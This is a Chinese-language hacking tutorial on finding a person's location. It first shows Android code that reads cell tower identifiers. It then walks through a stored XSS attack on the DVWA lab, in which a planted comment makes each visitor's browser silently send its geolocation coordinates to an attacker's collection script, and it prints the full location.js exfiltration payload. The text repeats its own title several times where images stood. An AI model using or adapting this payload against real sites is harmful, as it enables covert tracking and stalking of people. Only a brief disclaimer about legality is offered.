如何利用黑客技術獲取經緯度進而手機號碼定位

溫馨提示:合理利用技術享受健康生活,私自定位屬於違法犯罪行為。

基站定位原理:通過手機

如何利用黑客技術獲取經緯度進而手機號碼定位

信號獲取基站信息,然後調用第三方公開的根據基站信息查找基站的經緯度值,想要具體地址信息的再根據經緯度值獲取具體的地址信息。

一、通過手機信號獲取基站信息

通過TelephonyManager 獲取lac:mcc:mnc:cell-id(基站信息)的解釋:

MCC,Mobile Country Code,移動國家代碼(中國的為460);

MNC,Mobile Network Code,移動網絡號碼(中國移動為0,中國聯通為1,中國電信為2);

LAC,Location Area Code,位置區域碼;

CID,Cell Identity,基站編號;

BSSS,Base station signal strength,基站信號強度。

具體實現代碼如下:

[java]

package com.easipass.test;

import java.util.List;

import android.app.Activity;

import android.content.Context;

import android.os.Bundle;

import android.telephony.NeighboringCellInfo;

import android.telephony.TelephonyManager;

import android.telephony.cdma.CdmaCellLocation;

import android.telephony.gsm.GsmCellLocation;

import android.util.Log;

import android.view.View;

/**

* 功能描述:通過手機信號獲取基站信息

* # 通過TelephonyManager 獲取lac:mcc:mnc:cell-id

* # MCC,Mobile Country Code,移動國家代碼(中國的為460);

* # MNC,Mobile Network Code,移動網絡號碼(中國移動為0,中國聯通為1,中國電信為2);

* # LAC,Location Area Code,位置區域碼;

* # CID,Cell Identity,基站編號;

* # BSSS,Base station signal strength,基站信號強度。

* @author android_ls

*/

public class GSMCellLocationActivity extends Activity {

private static final String TAG = "GSMCellLocationActivity";

@Override

public void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.main);

// 獲取基站信息

findViewById(R.id.button1).setOnClickListener(new View.OnClickListener() {

@Override

public void onClick(View v) {

TelephonyManager mTelephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);

// 返回值MCC + MNC

String operator = mTelephonyManager.getNetworkOperator();

int mcc = Integer.parseInt(operator.substring(0, 3));

int mnc = Integer.parseInt(operator.substring(3));

// 中國移動和中國聯通獲取LAC、CID的方式

GsmCellLocation location = (GsmCellLocation) mTelephonyManager.getCellLocation();

int lac = location.getLac();

int cellId = location.getCid();

Log.i(TAG, " MCC = " + mcc + "\t MNC = " + mnc + "\t LAC = " + lac + "\t CID = " + cellId);

// 中國電信獲取LAC、CID的方式

/*CdmaCellLocation location1 = (CdmaCellLocation) mTelephonyManager.getCellLocation();

lac = location1.getNetworkId();

cellId = location1.getBaseStationId();

cellId /= 16;*/

// 獲取鄰區基站信息

List<neighboringcellinfo> infos = mTelephonyManager.getNeighboringCellInfo();/<neighboringcellinfo>

StringBuffer sb = new StringBuffer("總數 : " + infos.size() + "\n");

for (NeighboringCellInfo info1 : infos) { // 根據鄰區總數進行循環

sb.append(" LAC : " + info1.getLac()); // 取出當前鄰區的LAC

sb.append(" CID : " + info1.getCid()); // 取出當前鄰區的CID

sb.append(" BSSS : " + (-113 + 2 * info1.getRssi()) + "\n"); // 獲取鄰區基站信號強度

}

Log.i(TAG, " 獲取鄰區基站信息:" + sb.toString());

}

});

}

}

在AndroidManifest.xml添加獲取位置信息的權限:

[html] www.2cto.com

<uses-permission>

點擊“獲取基站信息”的按鈕後,Logcat的日誌輸出如下:

1、中國聯通:

如何利用黑客技術獲取經緯度進而手機號碼定位

2、中國移動:

如何利用黑客技術獲取經緯度進而手機號碼定位

第二種利用XSS獲取經緯度

Let’s do something interesting with XSS!


如何利用黑客技術獲取經緯度進而手機號碼定位

Bwapp之XSS –stored

這次的我打算在DVWA上做。文章介紹的方式是通過被攻擊者點擊評論裡的鏈接,轉到一個頁面獲取經緯度信息併發送到攻擊者的服務器上。我對此加以了一點小小的改進,留言過後,只需要被攻擊者訪問查看留言的界面,就會神不知鬼不覺地將經緯度信息發送給攻擊者。 實現的過程非常的簡單,利用了網絡攻防課上盜取cookie的思路。關鍵是獲取經緯度的js操作。


如何利用黑客技術獲取經緯度進而手機號碼定位


利用的是html5的geolocation獲取經緯度信息,百度一下很容易查到相關的用法,這裡就不再贅述,但是這種方法獲取經緯度的條件及其苛刻,需要電腦打開定位服務,並且賦予瀏覽器使用位置的權限。

我用的是win10系統,在電腦上發現定位服務可以賦予權限的只有Edge瀏覽器,其他瀏覽器使用這個定位則顯示用戶關閉了定位服務,而且就算在Edge瀏覽器裡,獲取當前位置的時候瀏覽器還會詢問用戶是否同意,所以這種方法在真實攻擊環境下獲取到位置的難度還是挺大的。經過一番折騰後發現電腦訪問百度地圖等定位軟件定位,要麼就是定位不到位置,要麼定位十分模糊,連精確都算不上,沒有手機上這麼方便,很可能也是因為windows位置權限的原因。

書歸正傳,現在我們來說一下實現的過程。


如何利用黑客技術獲取經緯度進而手機號碼定位


通過geolocation獲取到經緯度信息後,post到攻擊者的服務器上即可,這裡的get.php即為接收並記錄信息的腳本文件。get.php內容如下:


如何利用黑客技術獲取經緯度進而手機號碼定位


當geolocation獲取位置失敗時也會返回錯誤碼方便調試。


如何利用黑客技術獲取經緯度進而手機號碼定位


post函數即一個簡單地創建form窗口提交的函數。


如何利用黑客技術獲取經緯度進而手機號碼定位


在DVWA的XSS_stored模塊鍵入以下留言:

 


如何利用黑客技術獲取經緯度進而手機號碼定位


然後當被攻擊者訪問這個頁面的時候,他的位置信息就會被記錄下來。可以看到精確度還是很高的。


如何利用黑客技術獲取經緯度進而手機號碼定位


關於頁面跳轉的問題,被攻擊者在訪問留言板後,會跳轉到發送信息的界面去,解決方法,在創建元素的時候創建一個iframe元素,在這個iframe裡創建form提交,或者使用ajax就不會出現跳轉的問題。

比較坑的一點是,使用geolocation的時候,可能會因為GPS信號等原因使得所在位置和判定位置相差甚遠的情況,請耐心嘗試,因為我也沒有發現什麼好辦法 (逃,正常情況下誤差在20m左右。

附上location.js代碼:

var error=""; var long=0; var lat=0; if (navigator.geolocation)
{
navigator.geolocation.getCurrentPosition(showPosition,showError);
} else {
error="Brower do not support" } function showPosition(position) {
alert("緯度: " + position.coords.latitude + "\n經度: " + position.coords.longitude);
long=position.coords.longitude;
lat=position.coords.latitude;
post('http://127.0.0.1/Location/get.php',{'LONG':long,'LAT':lat,'ERROR':error});
} function showError(error) { switch(error.code)
{ case error.PERMISSION_DENIED:
error="PERMISSION_DENIED" break; case error.POSITION_UNAVAILABLE:
error="POSITION_UNAVAILABLE" break; case error.TIMEOUT:
error="TIMEOUT" break; case error.UNKNOWN_ERROR:
error="UNKNOWN_ERROR" break; default: break;
}
post('http://127.0.0.1/Location/get.php',{'LONG':0,'LAT':0,'ERROR':error});
} function post(URL, PARAMS) { var temp = document.createElement("form");
temp.action = URL;
temp.method = "post";
temp.style.display = "none"; for (var x in PARAMS) { var opt = document.createElement("textarea");
opt.name = x;
opt.value = PARAMS[x]; // alert(opt.name) temp.appendChild(opt);
} document.body.appendChild(temp);
temp.submit();
} huh
獲取到經緯度也就意味著我們知道了對方位置!


分享到:


相關文章: